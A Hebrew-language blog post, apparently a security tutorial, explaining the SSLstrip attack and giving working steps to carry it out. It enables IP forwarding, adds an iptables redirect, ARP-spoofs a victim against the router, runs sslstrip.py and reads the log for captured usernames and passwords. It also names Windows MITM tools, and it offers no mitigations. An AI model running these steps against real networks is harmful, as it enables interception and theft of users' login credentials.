מצאתי לנכון לתת הסבר קצר לשאלה שעולה בהמון בפורומים.
מהי התקפת  SSLstrip ואיך היא עובדת?

בראש ובראשונה חשוב לדעת שעצם הגלישה שלנו ברשת תחת פרוטוקול SSL (או יותר נכון TLS )
אינה בטוחה ב100 אחוז וזה עוד לפני שאני מדבר על SSLstrip .
אני מתכוון לחולשות באפליקציה, פריצות השרתים Cartificate באורך 1024 ביט ועוד…

SSLstrip:
בעבר היינו מתמקדים בתקיפת ה connection  של ה- SSL בעזרת כלים כמו: sslsniff.
אבל מכיוון שהיום אנחנו יוצאים מנקודת הנחה שמשתמשים ניגשים לאתרי https באחת מ2 דרכים:
1. לחיצה על לינקים
2. כשאנשים רוצים להיכנס לחשבון ה Gmail שלהם, הם בדרך כלל לא יקלידו בשורת הכתובת:
https://mail.google.com  אלא הם יכתבו בשורת הכתובת משהו כמו: gmail.com או gmail ואז בעצם תתבצע פנייה ב http  וכתגובה gmail תבצע redirect עם https.

מכיוון שרוב האנשים עוברים קודם כל ב http בדרך לhttps, זה אומר שאנחנו יכולים לנצל זאת.
למה לנו להתמקד בתקיפת ה ssl?  מכאן אתם כבר בטח מבינים לאן SSLstrip חותר…

בהתקפת SSLstrip אנחנו לא תוקפים את פרוטוקול ה SSL, אלא את התקשורת- ממוצפנת ללא מוצפנת.
נקודה חשובה, לפני שאפשר לבצע מתקפת SSL Spoofing צריך לקיים מתקפת arp-poisoning  על מנת שנוכל להשיג Man-in-the-middle ולנתב את המידע דרכנו.

בואו נתאר את המתקפה:
משתמש שולח בקשת HTTP מיועדת לשרת של גוגל, הבקשה עוברת דרך התוקף שנמצא באמצע התווך. התוקף מצידו מעביר את בקשת ה HTTP הלאה.
השרת של גוגל מבין שבוצעה בקשה לאפליקצייה של Gmail ומחזיר HTTPS URL לתוקף (בעצם הוא מבצע הפניית 302
מה שנקרא HTTP 302 redirection).
התוקף בתגובה מעביר למשתמש תשובת HTTP ערוכה ולא מוצפנת כמובן של דף הכניסה ל Gmail (מה שנקרא, Strip version)  אפשר לראות שה Strip version שמועבר למשתמש הוא ערוך ונראה זהה לחלוטין לגרסת ה https. מלבד הכתובת, אפילו יש אייקון של מנעול (:    , המשתמש ימלא את פרטי הכניסה שלנו באופן לא מוצפן ויעביר תקשורת לא מוצפנת אל התוקף, התוקפ יעביר לשרתי Gmail את התעבורה מוצפנת – וזאת לאחר שהוא הסתכל בה כאוות נפשו.

כלים:

Linux:
שימוש ב BTR5 או KALI Linux שכבר מרכז לנו את הכלים

בואו נתחיל,
לפני הכל יש להפוך את המכונה ל Router, מה שכבוי by default:

# echo 1 > /proc/sys/net/ipv4/ip_forward
עכשיו בעזרת הFirewall נפעיל את ה-NAT שאומר שאם הגיעה למכונה תעבורה בפורט 80 אז יש להפנות אותה לפורט 10000:
# iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 10000
עכשיו נבצע את ה arp-spoof : 
שימו לב, המכונה המותקפת היא: 192.168.1.2 והנתב בארגון הוא 192.168.1.254
אנחנו מעוניינים לגרום למותקף לחשוב שדווקא אנחנו הנתב של הארגון.
# arp-spoof eth0 -t 192.168.1.2 192.168.1.254
SSLstrip של Moxie Marlinspike's, זה הכלי שאיתו נבצע את ה- SSLstrip:
כניסה לכלי:
# cd /pentest/web/sslstrip
ניתן הרשאות ריצה לקובץ:
# chmod +x ./sslstrip.py
נריץ את הכלי כשאנחנו אומרים לו להאזין לתעבורה בפורט 10000 (כזכור לכם הפורט אליו עשינו Redirect בפקודה של ה NAT) :
#python sslstrip.py -l 10000
כעת הכלי ירוץ וימתין לתעבורה נכנסת.
כדי לוודא את כל הנתונים שהכלי אוסף אנחנו צריכים להסתכל בקובץ ה Log שלשם הנתונים נשפכים:
# cd /pentest/web/sslstrip
# cat sslstrip.log
תצוגת המידע לא כל כך יפה אבל שמות המשתמש והסיסמא מופיעים שם, רק להסתכל.

Windows: כבר ציינו שכדי להיות תוקף ושהתעבורה תעבור דרכנו אנחנו צריכים לסדר לעצמנו MITM,
ניתן לבצע Arp-Spoofing לדוגמה ע"י התוכנה Cain&Abel בדרך יחסית די פשוטה.

כמו כן, יש כלי שמבצע עבורכם גם MITM וגם SSL-Strip בממשק גרפי אחד.
מדובר כמובן ב- http://intercepter.nerf.ru/  (תחת האופצייה של NAT תוכלו להגדיר את הכל).

Leave a Reply

האימייל לא יוצג באתר. שדות החובה מסומנים *

You may use these HTML tags and attributes:

<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>